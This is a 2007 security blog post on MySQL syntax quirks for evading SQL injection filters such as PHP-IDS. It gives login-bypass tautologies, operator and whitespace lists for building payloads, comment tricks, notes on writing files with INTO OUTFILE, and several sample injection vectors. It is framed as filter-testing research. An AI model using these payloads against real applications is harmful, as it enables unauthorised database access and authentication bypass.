At the end some notes regarding INTO OUTFILE:

  • you can’t overwrite files with INTO OUTFILE
  • INTO OUTFILE must be the last statement in the query
  • there is no way I know of to encode the pathname, so quotes are required
  • you can encode your code with char()
  • If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me.


    MySQL syntax

    November 11, 2007

    While playing with the PHP-IDS filters and trying to circumvent them in the past months I came across some interesting MySQL syntax characteristics I’d like to share. Note that this will only be interesting if you try to evade filters or want to learn more about the syntax ;).

    First of all there are hundreds of possibilities to return a true statement in order to bypass logins or to return the full table content on select queries. Besides the simple ‘ OR ‘1’=’1 trick you can also compare the input directly. The shortest one would be ‘=’. You can also use functions(md5(0)>1), column names (column!=0), user vars (e.g. @var!=1), system vars(e.g. @@version>4) combined with all kinds of whitespaces, operators, prefixes and brackets.

    $prefixes = array(“”, “+”, “-“, “~”, “!”, “@”, ” “);

    $operators = array(“^”, “=”, “!=”, “%”, “/”, “*”, “&”, “&&”, “|”, “||”, “<“, “>”, “>>”, “<<“, “>=”, “<=”, “<>”, “<=>”, ” XOR “, ” DIV “, ” LIKE “, ” RLIKE “, ” SOUNDS LIKE “, ” REGEXP “);

    $whitespaces = array(“%20″, “%09″, “%0a”, “%0b”, “%0c”, “%0d”, “%a0″);

    Note that you can use prefixes and whitespaces as often as you want, so ‘ OR- +-1=- + – ( + 1 ) /* works as well.
    Also consider that some prefixes affect their follower. This shows the following table:

    MySQL prefix

    Note that ~ inverts bits and you can also use @ as prefix, which will return into a user variable with the value null.

    You can also do alot with statics like null, for example 1′ is not null /* or, to avoid comment types, 1′ is not null – ‘ (MySQL<=4). Instead of null you can also use \N (case sensitive). Or you can use true and false, for example ‘or true#. In WHERE clauses you can also use not, like ‘or not’.

    As comment types you can use all three known on MySQL: /*, # (%23), --. However make sure that you will write at least one space behind --, like -- aa, otherwise your query will fail.

    (update: As read on sla.ckers, there will be an mysql update which will disallow unclosed comments. However this wont make any difference in the most cases)

    I hope you learned how flexible the MySQL syntax is and that it’s always better to secure your WebApp than filtering for suspicous input. For a lot of example vectors take a look at this thread at sla.ckers.

    Some of them:
    ‘<~’
    aa’is\N|!’
    aa’*@a is null-‘
    aa’|1!=(1)#aa

    Here is a little PHP script I wrote to bruteforce some filter evasions. Just rename the file to .php.


    Follow

    Get every new post delivered to your Inbox.

    Join 78 other followers